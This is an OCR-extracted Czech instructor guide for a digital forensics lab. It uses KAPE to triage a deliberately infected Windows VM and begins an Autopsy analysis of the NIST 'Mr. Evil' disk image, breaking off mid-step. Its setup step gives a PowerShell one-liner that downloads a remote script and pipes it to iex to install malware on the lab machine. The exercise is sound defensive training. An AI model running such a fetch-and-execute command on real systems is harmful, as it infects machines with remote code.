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Cile
Uvedeni vsech cili, kterych bude v ramci této ulohy dosazeno, dle Bloomovy taxonomie vyukovych cilt (viz. Pfiloha
1)

e Popsat hlavni faze Zivotniho cyklu digitalni forenzni analyzy
o Vysvétlit zakladni postupy pro uziti forenznich nastroj pro sbér dat

o [lustrovat moznosti pouziti forenznich analytickych nastroji na ptikladech

Dovednosti

Uvedeni vSech dovednosti, které by si zaci méli v ramci této tlohy osvojit, dle Bloomovy taxonomie vyukovych cilt

(viz. Ptiloha 1)

e Pouzit forenzni nastroje v ramci procesu zvladani kybernetickych bezpecnostnich incidentd.
e  Pouzit nastroj pro forenzni analyzu obrazu pevného disku pro ziskani zakladni ptedstavy o déni na tirovni

souborového a operac¢niho systému.

Pracovni prostiedi

Ulohu lze realizovat v prostiedi:

e Jakékoli prostiedi (lokalni, cloudové, ...), v némz je mozné spustit virtualni stroj s OS Windows s ale-

spoii 2 vCPU a 8 GB RAM.
Pro praci budeme potiebovat nasledujici nastroje:

e 1 virtualni stroj s OS Windows
e Kroll Artifact Parser And Extractor (KAPE)
e Autopsy



Pribéh vyuky

1 Teoreticka ¢ast (Forenzni sbér a analyza dat)

Pted vlastnim praktickym cvi¢enim 1ze doporucit probrat/zopakovat zdklady problematiky forenzniho sbéru a analyzy
dat, a to minimaln€ v kontextu vyznamu slova ,,forenzni*, a v rozsahu Zivotniho cyklu digitalni forenzni analyzy ve

standardu NIST SP 800-86* (alternativné dle Zivotniho cyklu popsaného v ISO/IEC 27037:2012).

Collection Examination Analysis

Media m—— Data s Information ==——3p-Evidence

Obr. 1 - Zivotni cyklus digitalni forenzni analyzy [zdroj: NIST]

1.1 Vyznamné aspekty Zivotniho cyklu digitilni forenzni analyzy
Z pohledu odborné praxe je vhodné akcentovat zejména nasledujici skute¢nosti vazici se k jednotlivym ¢astem vyse

vyobrazeného Zivotniho cyklu:

[Collection] Prvnim krokem v ramci digitalni forenzni analyzy je identifikace potencialné relevantnich zdroju dat a
nasledné ziskani vstupti z identifikovanych zdroji. Mezi relevantnimi zdroji dat mohou byt naptiklad pfenosna datova
ulozisté (flash paméti, datové karty, historicky CD, DVD,...), datova tulozisté, ktera jsou soucésti riznych zatfizeni
(HDD/SSD ptipojené Vv pocitacich/laptopech, interni flash pamét’ chytrych telefond, interni pamét’ digitalnich fotoapa-

ratu,...), ale 1 opera¢ni pamét’ takovych zafizeni.
9 b

Sbér dat z uréitého zatizeni by mél odpovidat potfebam vysetfovani/dokazovani, v souvislosti s nimz je realizovan, a
mél by zpravidla probihat v pofadi, které odpovida volatilité pamétovych mechanismii daného zafizeni — obecné je tak
vhodné zacinat sbérem dat z nejvolatiln€jsiho relevantniho pamétového mechanismu a pokracovat k nejméné volatil-
nimu pamétovému mechanismu. Dobrym zdrojem doporuéeni v této oblasti je mimo jiné standard RFC 32272 V pii-
padé sbéru dat z laptopt a dalSich pocitatovych systému tak z pravidla nejprve probiha sbér dat z operaéni paméti
(pokud operac¢ni pamét’ obsahuje néjaka potencialné relevantni data), a az nasledné sbér dat z perzistentnich/pevnych

ulozist’.

1 https://csrc.nist.gov/publications/detail/sp/800-86/final
2 https://datatracker.ietf.org/doc/ntml/rfc3227



https://csrc.nist.gov/publications/detail/sp/800-86/final
https://datatracker.ietf.org/doc/html/rfc3227

Samotny sbér by mél vzdy probihat takovym zplisobem, aby pti ném nedoslo k modifikaci sbiranych dat (v souvislosti
s timto aspektem forenznich aktivit 1ze doporu¢it zminit Locardiv princip vymény?®). Pro ,,forenzni“ sbér dat je tak
zpravidla vhodné vyuzivat vyhradné specializované nastroje urcené pro tuto oblast (mj. tzv. ,,write-blockery*) a po
provedeni vlastniho sbéru dat z perzistentnich ulozist, resp. souborovych systémti, ovéfit a zaznamenat (obvykle s po-
moci hashi) integritu ziskanych dat. Postup sbéru i jakékoli dalsi nakladani se ziskanymi vstupy by mély byt vzdy

vhodnym zptisobem evidovany.

[Examination] Na sbér dat navazuje v ramci forenznich postupii soubor aktivit spojenych s tvodnim prozkoumanim a
posouzenim ziskanych vstupt a vybérem relevantnich dat pro nédslednou hlubsi analyzu. V ptipad¢ dat ziskanych ze
souborového systému to mize napiiklad znamenat identifikaci souborii riznych typa (napft. rastrové obrazky, textové
dokumenty apod.) a jejich ¢asu posledni modifikace, nebo identifikaci vSech uzivatelskych Gt vytvorenych v ramci
operacniho systému. Vlastni ziskani relevantnich dat zpravidla provadi automatizované nastroje na zakladé korektniho

nastaveni zajmove oblasti ze strany forenzniho analytika.

[Analysis] V navaznosti na vybér zajmovych dat probéhne v ramci forenzniho cyklu jejich analyza, tedy metodické
vyvozeni zaveri z dostupnych vstuptl (piipadné identifikace potifeby doplnéni dalSich vstupii nezbytnych pro vyvozeni
potiebnych zaveért). Aktivity provadéné v této fazi mohou spadat do relativne Sirokého spektra ¢innosti, v navaznosti
na cilech analyzy a dostupnych vstupech — analytik naptiklad zvoli zcela jiny postup, pokud bude cilem identifikace
vybranych bézicich procest v ziskaném obrazu paméti, identifikace historické aktivity realizované prostfednictvim we-
bového prohliZece instalovaného na koncovém pocitaci na zakladé analyzy obsahu jeho pevného disku, nebo potvrzeni
¢i vyvraceni pfitomnosti specifického obrazku na pamétovém ulozisti telefonu. Cely postup analyzy i vyvozeni zavéra
by vsak mély byt vzdy detailné dokumentovany a veskeré provedené kroky by mély byt deterministické a v ptipade

potieby (dle dokumentovaného postupu) opakovatelné.

[Reporting] Forenzni analyza dat je zpravidla realizovana s cilem vyuziti ziskanych poznatkl v ramci trestnépravniho
¢i jiného soudniho ¢i administrativniho dokazovani nebo Setfeni, a diikladna dokumentace celého jejiho procesu, véetné
postupu uzitého vyvozeni jakychkoli zaveérd, je tak jeji nezbytnou soucasti. Z provedené analyzy by tak méla byt na
jejim zavéru zpracovana zaverecna zprava, obsahujici popis celého postupu analyzy a soubor zavéru vyvozenych z do-

stupnych datovych zdrojt (a piipadné i jakdkoli mozna alternativni vysvétleni zjisténych skutecnosti)

V ramci vykladu lze doporudit zdlraznit, Ze toto cviceni si klade za cil studenty seznamit se zdkladnimi aspekty forenz-
niho sbéru a analyzy dat a poskytnout jim jednoduchou ukazku vybranych nastroji uzivanych v této oblasti. Jeho ab-
solvovani by tak nemélo byt za zadnych okolnosti chapano jako dostacujici pruprava pro vykon forenznich aktivit
v podminkach realného svéta. Redlny ,,forenzni“ sbér dat a jejich analyzu by méli vzdy provadeét pouze k tomu vyskoleni

specialisté.

3 https://cs.wikipedia.org/wiki/Locard%C5%AFv_princip v%C3%BDm%C4%9Bny
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1.2 Nastroje a postupy pro digitalni forenzni aktivity

Prakticka ¢ast cviCeni je rozd€lena do dvou oblasti, vénovanych problematice sbéru a analyzy dat s pomoci ,,forenznich*
nastroji v ramci zvladani kybernetickych bezpecnostnich incidentd a problematice komplexni analyzy obrazti perzis-
tentnich Glozist. V zajmu zasazeni obou téchto aspektti do SirSiho kontextu bezpeénostnich aktivit 1ze doporudit studen-
tim pred vlastnim praktickym cvi¢enim popsat obecné zasady forenznich Setieni (vedle jiz zminénych zdroju lze pfi
tom doporucit Cerpat mj. z dokumentu INTERPOL Guidelines for Digital Forensics First Responders*) a demonstrovat
piinejmensim préci s nastroji pro sbér dat z paméti pocitace (napi. Belkasoft Live RAM Capturer®, AccessData FTK
Imager® apod.) a tvorbu bitovych kopii obsahu perzistentnich lozist' (napt. dd’ (ptipadné dcfldd), vyse zminény FTK

Imager apod.).

V pfipadé dostatecného casového prostoru Ize pak doporucit demonstrovat rovnéZz postup analyzy zachytu obsahu ope-

raéni paméti (provedeného napf. s pomoci vyse uvedenych nastrojil) s vyuzitim platformy Volatility®,

4 https://www.interpol.int/content/download/16243/file/Guidelines%20to%20Digital %20Forensics%20First%20Respon-
ders_V7.pdf?inLanguage=eng-GB

5 https://belkasoft.com/get?product=ram

6 https://accessdata.com/product-download/ftk-imager-version-4-5

7 https://man7.org/linux/man-pages/mani/dd.1.html

8 https://www.volatilityfoundation.org/
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2 Prakticka ¢ast (Vybrané praktické aspekty forenzni analyzy)

Pro niZe popsané cviceni je nezbytné ptipravit 1 virtudlni stroj (v zajmu rozumné rychlého zpracovani obrazu disku lze
doporucit alokovat pro dany stroj minimaln¢ 2 vCPU a 8 GB RAM) s ,Cistou‘ instalaci 64-bitového OS Windows 10
(operacni systém serveru je potencialné mozné nahradit serverovou verzi OS Windows a OS koncového bodu jinym
vhodnym systémem, napt. Windows 11, nicméné v takovém piipade je vSak vhodné pted cvicenim ovéfit funkénost
uzivanych skriptli a nastrojit) a nainstalovanym nastrojem MS Excel. Stroj musi mit nefiltrovany pfistup do internetu.
Na jeho souborovém systému musi byt vytvotena slozka ,,C:\Forensics®, a do ni musi byt umistény nasledujici nastroje

a soubory:

e ZIP archiv s nastrojem Kroll Artifact Parser And Extractor (KAPE)?® (testovana verze 1.2.0.0, ale jakakoli vyssi
by méla byt s cvicenim kompatibilni),
e  MSI instalator nastroje Autopsy'® (testovana verze 4.19.13, ale jakakoli vys§i by méla byt s cvi¢éenim kompa-
tibilni) a
e soubory ,,4Dell Latitude CPi.E01* a ,,4Dell Latitude CPi.E02* obsahujici obraz pevného disku'!.
Ptipravu vySe popsaného virtualniho stroje 1ze doporucit provést pied vlastnim cvi¢enim a nasledné dany stroj jako

,»obraz* distribuovat jednotlivym studenttim.

2.1 Vyuziti forenznich postupii a nastroji v ramci zvladani bezpe¢nostnich incidentii

Vybrané forenzni nastroje mohou byt potencialné vyuzitelné pii zvladani kybernetickych bezpe¢nostnich incidentu.
Krom jinych si v této oblasti zasluhuje bliz§i pozornost balik Kroll Artifact Parser And Extractor (KAPE), umoziiujici
provést (napiiklad s pomoci USB disku, na némz je balik umistén) postupny sbér dat z nékolika zdroju (naptiklad riz-

nych pocitacovych systémi/pracovnich stanic) a nasledné jejich jednotnou analyzu.

V tomto cviceni demonstrujeme moznosti pouziti zminéného nastroje pro identifikaci malwarové infekce na koncovém
stroji s pomoci postupu, ktery bychom v praxi mohli provadét napiiklad pokud bychom z koncového stroje detekovali

na urovni sité podezielou komunikaci odchazejici do internetu a neméli k dispozici nastroj typu EDR.

2.1.1 Infekce koncového stroje

1. Pro pfipravu prostfedi oteviete konzoli PowerShellu a spustte v ni nasledujici ptikaz, ktery zajisti staZzeni a
instalaci malwaru.

PS C:\Users\admin> (New-Object
System.Net.WebClient) .DownloadString ("https://www.untrustednetwork.net/files/2022/cichnova/
l.psl") | iex

2. Koncovy stroj restartujte.

9 https://www.kroll.com/en/services/cyber-risk/incident-response-litigation-support/kroll-artifact-parser-extractor-kape
10 https://www.autopsy.com/download/
1 https://cfreds.nist.gov/all/NIST/HackingCase
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2.1.2 Sbér dat z infikovaného stroje

1. Soubor kape.zip ze slozky C:\Forensics rozbalte do stejné slozky tak, aby vznikla podslozka C:\Foren-
Sics\KAPE.

2. Ve slozce C:\Forensics vytvoite podslozky ,,Data“ a ,,Output®.

3. Spust'te GUI verzi nastroje (C:\Forensics\KAPE\gkape.exe), zaskrtnéte moznost ,,Use Target options* a pro-
jdéte si seznam dostupnych ,,cila* — ty predstavuji predpfipravené mechanismy pro sbér riznych typt dat ze
zkoumanych systémt.

Target options

Target source | - |

Target destination | '| oo | |v] Flush Add %d Add %em

Targets (Double-click to edit a target)

0
Selected Name Folder Description

L L] A Afc adc [ad
3 |BasicCallection Compound Basic Callection

ISANS_Triage Compound SANS Triage Collection

SBoot Windows S$Boot

] Windows ]

SLogFile Windows $LogFile

SMFT Windows SMFT

SMFTMirr Windows SMFTMirr

fome Lfim s Fome

4. Pro sbér ,,zakladnich* dat vyuzijeme cil ,,!BasicCollection” — jde o tzv. ,,sloZzeny* cil zahrnujici sbér dat z vét-
$iho poétu zdrojovych umisténi. Oteviete si v poznamkovém bloku soubor C:\Forensics\KAPE\Targets\Com-
pound\!BasicCollection.tkape a podivejte se, z kterych jednotlivych ,,cili“ jsou v ramci néj sbirana data.

5. Nastavte GKape tak, aby provadél sbér ze zdroje ,,C:\“, cilem pro sbér byla slozka ,,C:\Forensics\Data“ a jako
cil zvolte ,,'BasicCollection (pti konfiguraci si pov§imnéte pole ,,Current command line* v zapati okna
GKape, které¢ demonstruje, ze GKape je pouze nadstavbou nad vlastnim nastrojem Kape, ktery je mozné plné
ovladat ptes ptikazovou fadku).

| Use Target options
Target options

Targetsource  [C:\

=
| ] (IFush [JAdd%d [ Add %m

Targets (Double-dlick to edit a target)

Target destination |C: \Forensics\Data

x Find
Selected Mame Folder Description
¥ L] e a4 e [l
3 ] |BasicCollection Compound Basic Collection
ISANS_Triage Compound SANS Triage Collection
$Boot Windows $Boot

3] 3]

SlogFile SlogFile
SMFT SMFT
SMFTMirr SMFTMirr
fenc fenc L
Process V5Cs | Deduplicate Container ®) None VHDX VHD Zip
SHA-1 exdusions Base name

|¢¢

6. Spust'te sbér dat s pomoci tlacitka ,,Execute!* v pravém spodnim rohu GUI, potvrd’te smazani ptipadného ob-
sahu cilového adresare a vyckejte do ukonéeni sbéru.



- Total execution time: 27.4161 seconds - a X

Copied 619 (Deduplicated: 36) out of 655 files in 27.3947 seconds. See '*_Copy
etails

Po ukonceni sbéru uzaviete oteviené okno piikazové fadky i okno Gkape.

Vyse popsanou aktivitu bychom v pfipadé podezieni na malwarovou infekci mohli provést na potencialné nakazeném
stroji s pomoci nastroje KAPE umisténého na USB tlozisté, na které bychom s pomoci néj ziskali sadu vstupt, které
bychom nasledné mohli analyzovat na vlastnim stroji.

2.1.3 Analyza ziskanych dat
1. Spust'te novy proces GUI verze nastroje KAPE (C:\Forensics\KAPE\gkape.exe), zaskrtnéte moznost ,,Use Mo-
dule options* a projdéte si seznam dostupnych ,,moduli — ty pfedstavuji ptedpfipravené mechanismy pro ana-

lyzu dat ziskanych ze zkoumanych systémi.

Module options

Module source | - |

Module destination | - | voo | 1Flush [ ] Add %d Add %m Zip

Modules (Double-click to edit a module)

0
Selected | Name Folder Category Description

? [] e e e e ~

3 NToolSync Compound Sync Sync for new Maps, B...
EZParser Compound Modules Eric Zimmerman Parsers
AmcacheParser EZTools ProgramExecution AmcacheParser: extr..
AppCompatCacheParser EZTools ProgramExecution AppCompatCachePar...
BMC-Tools_RDPBitmapCache . | GitHub Remote Access BMC-Tools: RDF Bitm
bstrings Compound Modules Run &l bstrings Modul...
bstrings_AsonWallet bstrings KeywordSearches Use bstrings to GREF ...
hatrinne_RitfCninitiallst hatrinns KewnrrdSearrhes llea hetrinns tn GRER_ ¥

2. Pro ,,zakladni zpracovani* nasbiranych dat pro analyzu vyuzijeme 2 moduly:

a. modul ,,'EZParser® — podobné jako u vySe zminéného cile je tzv. ,,slozeny*, a zahrnuje tak vétsi pocet
samostatnych mechanismi pro extrakci dat (v pfipadé zajmu si mizete v poznamkovém bloku oteviit
soubor C:\Forensics\KAPE\Modules\Compound\!EZParser.mkape a podivat se, které zpracovavaci
,»moduly* jsou v ramci né&j spoustény), a

b. modul PowerShell ProcessList CimlInstance, ktery ndim poskytne seznam procest spusténych v dobé
sbéru dat (ma podobny vystup jako utilita tasklist pro piikazovou fadku).



3. Nastavte GKape tak, aby provedl zpracovani dat ze zdroje ,,C:\Forensics\Data“, cilem pro zpracovani byla
slozka ,,C:\Forensics\Output™ a jako aktivni moduly zvolte ,,'EZParser* a ,,PowerShell ProcessList CimlIn-
stance®.

| Use Module options

Module options

Module source |C: ‘Forensics\Data M |

Module destination |c:\Forensics\Output ][] EFush [ Add %d add %m [ zip

Modules (Double-click to edit a module)

x - Find
Selec... » | Name Folder Category Description

¥ [ ] Al Aflc Alc e L)
3 PowerShell_ProcessList_CimI... Windows LiveResponse Display running proce..
|EZParser Compound Modules Eric Zimmerman Parsers
WxTCmd EZTools FileFolder Access WxTCmd.exe: proces...
Windows_SystemInfo Windows LiveResponse Gathers Basic System..
Windows_schtasks Windows LiveResponse Displays all scheduled..

Windows_RoutingTable Windows LiveResponse RoutingTable

indows_gwinsta_RDPSessi.. dows LiveResponse Display information a...

cdowe_NetStat A |iveResnonse. NatGtat hd

Export format @ Default csy HTML JS0M

4. Spust'te zpracovni dat s pomoci tlacitka ,,Execute!* v pravém spodnim rohu GUI, potvrd’te smazani ptipad-
ného obsahu cilového adresaie a vyckejte do ukonceni sbéru.

¥ Select Total execution time: 47.9268 seconds - [m] x

r tion --mp -q
ileDeletion -q
011_Batch.reb --nl false

Po ukonceni zpracovani dat uzaviete oteviené okno piikazové radky i okno Gkape.
5. Otevrete slozku ,,C:\Forensics\Output™ a v rychlosti se seznamte s dostupnymi vystupy poskytnutymi nastro-
jem Kape na zakladé vstupnich dat.

Name - Date modified Type Size
EventlLogs /7, File folder
FileDeletion File folder
FileFolderAccess File folder
FileSystem File folder
LiveResponse File folder
ProgramExecution File folder
Registry File folder
SOLDatabases File folder
SRUMDatabase File folder
SUMDatabase File folder
=| 2022-06-07T105806_Consclelog.bit Text Document 9KB




6. Otevrete v nastroji Excel soubor ,,PWSH-Get-CIM_ProcessList.csv* ulozeny v cesté ,,C:\Forensics\Output\Li-

veResponse* (jde o onen vyse zminovany seznam béZicich procesit).

7. Vyfiltrujte pouze fadky neobsahujici ve sloupci Path cestu C:\Windows (pfedpokladame, ze ptipadny malware
se nenachazi v systémové sloZce — tento predpoklad neni nezbytné realisticky, ale pro potieby tohoto cviceni

jej povazujme za validni).
a. Vlozte filtr do prvniho fadku (Data -> Filter).

b. Na sloupci Path vytvoite novy filtr v souladu se zadanim (Text Filters -> Does Not Contain...)

Photos_3021.21090.10008.0_x64_Bwe!
e_1.22042.168.0_x64_Bwrekybdbbw
e Heslth Tools\uhssve.exe

icrosaft Yourd

6653 kape.exe C:\Foransics\KAPE\kape £xe

A\Foren kape.exe 1612 ERSRSRSR  G6OS 661 0DOL6B4CE2DBE0C 18302891 CIECISAA

0 mmsmsmsr 4 mm

4w 340 53
424 BT a3 as9
a24 memmn 512 159
Erpr— 524 75
512 ERERESE 610 61

640 meesmen 2692 1383
610 BREREESE 5720 m
610 EmERERSE 3180 £
3900 weemeREE 0656 607 C2938ERSFFI32C2540A1514CCHICISTC
3984 weeRSE 7244 514 COESDTISIEBSSASEATIETOOIEELSO4DS
610 ERERERSE 4528 654
B0 wRemE  T04 B
640 wawmunn 7712 25

™ 522 0B 56874738884 TDIBBARCTES193C2
an 540 2B90BISBERI442AST22DESF THEOACDSE
756 159 B1424A0206B7BESODAI63IENFIBCTAZ

1612 940 2FSAZFIBEEDSCODTAETBA22EDSFBICAS
e

8. Overite hashe jakychkoli podezielych/nestandardnich procesii s pomoci sluzby VirusTotal a identifikujte za-

jmovy soubor — nyni jiz zname jméno a umisténi potencialniho malwaru.

(1) 7 security vendors and no sandboxes flagged this file as malicious

\
7

e4{47192274efcc1998a7545acfi8 10400b1eadf74cc20di4adf12221505ae3b

scvhost.exe

6ibits.  chacks-network-adaptars  detax direct cpu-clock-acoass  pesxe s-modues

2021-06-23 07:50:08 UTC

9. Otevfete v nastroji Excel soubor ,,[datum]_PECmd_Output_Timeline.csv* ze slozky ,,C:\Forensics\Out-
put\ProgramExecution — soubor obsahuje ¢asovou fadu spousténych procest. Data setfid’te dle ¢asu uvede-
ného v prvnim sloupci, vyhledejte ,,login.scr podivejte se na procesy, které byly spoustény v ¢ase po spusténi
jmenovaného procesu. Mizete si pov§imnout napiiklad nestandardniho opakovaného spousténi CMD.EXE
S cca minutovou periodou, nicméné nic vyslovené podezielého na Girovni historie procest vidét neni.

10. Oteviete v nastroji Excel soubor ,,[datum]_PECmd_Output.csv* ze slozky ,,C:\Forensics\Output\ProgramE-
Xecution“ — soubor obsahuje informace o historicky spousténych binarnich souborech. Vyfiltrujte pouze
radky, které ve sloupci ExecutableName obsahuji jméno ,,login.scr (vysledkem by mél byt jen jeden radek).
Pokud jste dodrzeli vySe popsany postup, mizete si pov§imnout, ze sloupec ,,RunCount® nés informuje, ze
dany soubor byl spustén pouze jednou, a to v ¢ase obsazeném ve sloupci ,,LastRun®. Pokud jste pied sbérem
dat s pomoci Kape restartovali virtualni stroj vice nez jedenkrat, mize byt (avSak nemusi) RunCount vyssi a
vybrané sloupce ,,PreviousRunN‘ mohou obsahovat ¢asové znacky predchozich spusténi souboru.

Note B sourceFilename B sourcecreated Bl sourcemodified Bl Sourcenccessed B xecutablename Ef Hash Bl size B version Bl Runcount B Lastrun B previousruno Bl previousrun1 B previousrun2 B previousrun3 B previousruna B

C:\Users\admin\De 57:49.8 57:49.8 30:45.2 LOGIN.SCR FD538327 77900 Windows 1 1

Na zéklad¢ vyse provedené analyzy bychom méli dost podkladii pro dalsi aktivity v rdmci zvladnuti bezpecnostniho
incidentu spojeného s infekei potencialnim skodlivym kodem a nasi analyzu tak v této fazi ukon¢im — vime, kde se
nachazi potencialni Skodlivy kod a mj. i to, jakym zplisobem je zajisténa jeho perzistence.

Ptestoze spolecné pokracovat nebudeme, v pripad¢ z4jmu muzete samoziejme prozkoumat také vyse nezminéné sou-
bory vygenerované nastrojem Kape a prohlédnout si dodatecné informace, které ndm zminény néstroj poskytuje.
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2.2 Vyuziti forenznich postupi pro analyzu obsahu pevného disku

Jednou z tradi¢nich aktivit v oblasti forenzni analyzy je analyza obsahu pevnych diskl, zaméfena na identifikaci zajmo-
vych souborti, ziskani informaci o uzivateli pocitace, z n¢hoz disk pochazi, a zjisténi aktivit, k nimz na daném stroji
doslo. V ramci nasledujiciho cviceni si vyzkousime postup analyzy forenzniho obrazu pevného disku s pomoci nastroje

Autopsy.

Analyze podrobime obraz pevného disku historicky vytvoieny institutem NIST*2 v ramci projektu CFReDS® pro vy-
cvik forenznich specialistii. Projdeme pfi tom pouze vybrané tlohy/otazky souvisejici s danym obrazem disku a ptipadni
zajemci o detailngjsi proniknuti do problematiky forenzni analyzy perzistentnich ulozist' a souborovych systému tak

mohou Vv analyze popsané nize pokracovat v ramci samostudia.

V ramci cviceni se vtélime do role policejnich forenznich specialist a pomtzeme vySettit jeden historicky ptipad, jehoz

detaily jsou nésledujici.

20. zaii roku 2004 zajistili policejni specialisté laptop Dell CPi spolu s PCMCIA Wi-Fi adaptérem a externi anténou.
Ptedpoklada se, Zze dany pocitac byl uzit k vzdalenym prinikiim do bezdratovych siti restauraci a zachytavani citlivého
sitového provozu obsahujiciho naptiklad pfihlaSovaci jména a hesla nebo ¢isla platebnich karet podezielym jménem
Greg Schardt, ktery rovnéZ vystupuje pod pseudonymem Mr. Evil. Zminény podeziely vlastnictvi laptopu i participaci
na jakychkoli Gtocich s jeho pomoci popira. Nasi kolegové tak vytvotili bitovou kopii obsahu pevného disku zminéného

laptopu a predali nam ji k analyze.

Nasim tkolem je pokusit se zjistit, zda vySe zminény podeziely mohl byt s laptopem realné spojeny, a — pokud ano —

zda dany laptop byl ¢i nebyl vyuzivan k utokiim na bezdratové site.

2.2.1 Priprava analytické stanice

1. Spust'te MSI instalator nastroje Autopsy umistény ve slozce C:\Forensics a nastroj s piednastavenymi moz-
nostmi nainstalujte.

2. Autopsy s pomoci nove vytvoieného zastupce na plose spust’te a v ptipadé potieby povolte aplikaci komuni-
kovat do internetu.

2.2.2 Analyza obsahu pevného disku

Autopsy po pridani jakéhokoli datového zdroje zpravidla automaticky provadi jeho zpracovani s pomoci nastavenych
»moduli“. Do ukonceni tohoto zpracovani se mohou dostupné vstupy menit a pted provedenim analyzy v podminkach
realného svéta by tak bylo na misté nechat v§echny moduly dobéhnout. V ramci tohoto cviceni v§ak nebudeme na ukon-

¢eni zpracovani vstupnich dat ¢ekat a analyzu budeme provadét v jeho prabehu.

1. V Autopsy vytvoite novy piipad, ktery pojmenujte jej ,,Dell 1 a vychozi slozku nastavte na ,,C:\Foren-
sics\Dell*.

12 https://www.nist.gov/
13 https://cfreds-archive.nist.gov/Hacking_Case.html
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c‘ Mew Case Information

Steps Case Information

1. Case Information
2. Optional Information Case Name: Dell_1|

Base Directory: | C:\Forensics\Delly Browse

Case Type: (®) Single-User MultiLzer

Case data will be stored in the following directory:
C:\Forensics\Dell\Dell_1

< Back Finish Cancel Help

2. Po vytvofeni nového ,,piipadu’ se automaticky otevie dialog pro ptidavani novych datovych zdroji. U kroku

»Select Data Source Type* nechte zaSkrtnutou volbu ,,Disk Image or VM File®...

M4 Add Data Source

*
Steps Select Data Source Type
1. SelectHost
2. Select Data Source Type
3. Select Data Source Disk Image or YM File
4, Configure Ingest =
5. Add Data Source

= Local Disk

= Logical Files

= | Unaliocated Space Image File

‘=" | Autopsy Logical Imager Results

= XRY Text Export

< Back Einish Cancel Help

...a na nasledujici obrazovce (krok ,,Select Data Source*) zvolte jako datovy zdroj soubor ,,4Dell Latitude
CPi.E01* ulozeny v ,,C:\Forensics®.

3. U kroku ,,Configure Ingest* miZeme nastavit, které z onéch vySe zminénych analytickych modulti maji data

automaticky zpracovat. Zvolte ,,Deselect All* a nasledné zaskrtnéte pouze moduly vyobrazené nize.
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Run ingest modules on:

All Files, Directories, and Unallocated Space -
. Recent Activity A
Hash Lookup

File Type Identification
Extension Mismatch Detector
Embedded File Extractor
Picture Analyzer
Keyword Search

Email Parser

Encryption Detection
Interesting Files Identifier
Central Repository
PhotoRec Carver

Virtual Machine Extractor

OO0FOMEAMR-RER

Data Source Integrity

Select All Deselect All History

Nasledné vse potvrd’te a Autopsy zacne data automaticky zpracovavat. Data v levém sloupci se v prubéhu
zpracovani budou postupné rozsifovat.
Nejprve si udélame piedstavu o obsahu disku z pohledu souborovych systémti — rozkliknéte stromovou struk-

turu pod kofenovou hodnotou ,,Data Sources* a zjistéte informace o rozdé¢leni disku.

E- & Data Sources
. &-f§ 40el Latitude CPi.ED1_1 Host
=3
> voll (Unallocated: 0-62)
-- vol2 (NTFS [ exFAT (0x07): 63-9510473)
: vol3 (Unallocated: 9510480-9514253)

Po dalsim rozkliknuti ,,vol2* bychom mohli prochazet relevantni adresatfovou strukturu — po rozkliknuti ,,Do-
cuments and Settings* naptiklad zjistime, Ze v pocitaci ziejmeé existoval ti€et jménem ,,Mr. Evil“. Zatim bychom
vsak toto tvrzeni podkladali pouze obsahem jedné slozky, ktery mohl hypoteticky kdokoli zménit. Je tedy tfeba

ovefit seznam uctd, které byly na zajmovém pocitaci vytvoreny.

=@ Data Sources
E-f§ 40el Latitude CPI.EDL_1Hast

£-F 4Dell Latitude CPi.EOL

voll (Unallocated: 0-62)
B o vol2 (NTFS / exFAT (0%07): 63-9510475)

----- v SOrphanFiles (0)
----- v SCarvedFiles (1008)
----- |\ sExtend (5)
----- . Sunalloc (4)
-1} Documents and Settings (7)
All Users {3)
Default User {38)
LocalService {8)
L\ Mr. Evil (19)
[ | L NetworkService (8)
[#- |, My Documents (11)
[#-|,) Program Files (36)
[ |4} RECYCLER (3)
----- ., System Volume Information {3)
..... L Temp (2)
----- L\ WINSS (103)

WINDOWS (109)
vol3 (Unallocated: 9510480-9514259)

[t
=
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Seznam uzivatelskych uct za nés v pribéhu analyzy pfipravi sim nastroj Autopsy — pockejte, nez uvidite
Vv ramci stromové struktury polozku ,,OS Accounts™ a nasledné na ni kliknéte — na seznamu mj. uvidime, ze
ucet ,,Mr. Evil*“ na zafizeni skute¢né existuje a byl vytvoren piiblizné ve den, jako vSechny ostatni ucty na

daném zafizeni.

[ © - eywordian G wryward saman
o [
S

Seve Tobk 20 G5V

3
i
L]
§
H
i
i
¥
§
5
)

A

g
g
g
E
F
i
:
HE

Po pripadném proklikani v§ech uctl pak miizeme z jejich vlastnosti zjistit, ze tento ti¢et byl piihlasen na daném
pocitaci celkem 15x, a jde o jediny ucet, ktery byl na daném stroji pouzit (ostatni maji ,,Login count” nastaven

na 0).

05 Account Other Occurrences

Basic Properties
Login: mr. Evi
Full Name:
Address: §-1-5-21-2000478354-688789844-1708537768-1003
Type:
Creation Date:  2004-03-19 16:03:54PDT

4Dell Latitude CPi.E01_1 Host Details
Last Login: 2004-08-27 08:08:23 POT
Login Count: 15
Administrator:  True
Passward Settings: Passnord does not expire
Flag: Normal user account
Home Directory: [Documents and Settings/Mr. Evil

Realm Properties
Name: Unknown
Address: 5-1-5-21-2000478354-688789844-1708537768
. L il &

V zajmu ziskani lepsi predstavy o zkoumaném pocitaci je vhodné identifikovat verzi opera¢niho systému, ktera
na ném byla vyuZzivana, tu mizeme zjistit mj. s pomoci polozky ,,Operating System Information®, ktera je ve
stromové struktuie pod polozkou ,,Data Artifacts®.

Po kliknuti na fadek ,,software®, nebo po odrolovani pohledu doprava navic zjistime, Ze jméno registrovaného

vlastnika pocitace je ,,Greg Schardt®.

14



[Cperating System Information
Table  Thumbnail

Data Source
4Dell Latitude CPLEOL

Temparary Files Directory
Windows_NT 86 e SyskemRoot YL TEMP

in Version Processor Architecture

4Dell Latitude CPILEOL

<

Program Name

Path

Date/Time

Product ID

55274-640-01;

2 Resultg

save Table as CsV

Organization

Hex Text Application Source File Metadata Data Artifacts Annotations Other Occurrences
Result: 1 of 33 Result > Operating System Information

Type Value Source(s)

Pragram Name Microsoft Windows XP Recent Activity ~

Date/Time 2004-08-19 15:48:27 FOT Recent Activity

Path C:\WINDOWS Recent Activity

Froduct ID 55274-640-0147306-23684 Recent Actity

wner Greg Schardt Recent Activity

Organization /A Recent Activity

Source Fie Path fimg_4Dell Latitude CPi.E01/vol_vol2/WINDO!

Artifact D -3223372036854775739

V tuto chvili jsme prokazali, ze registrovanym vlastnikem pocitace byl dle dat OS vySe zminény podeziely, a

na zatizeni byl uzivan ucet Mr. Evil, avSak prozatim jsme ob¢ identity pevnéji nespojili. Za tcelem identifikace

pfimé vazby mezi nimi vyuzijeme fulltextové vyhleddvani (,,Keyword Search*) dostupné v pravém hornim rohu

GUI Do vyhledavaciho okna zadejte jméno a piijmeni podezielého a nechte Autopsy vyhledat jeho presné

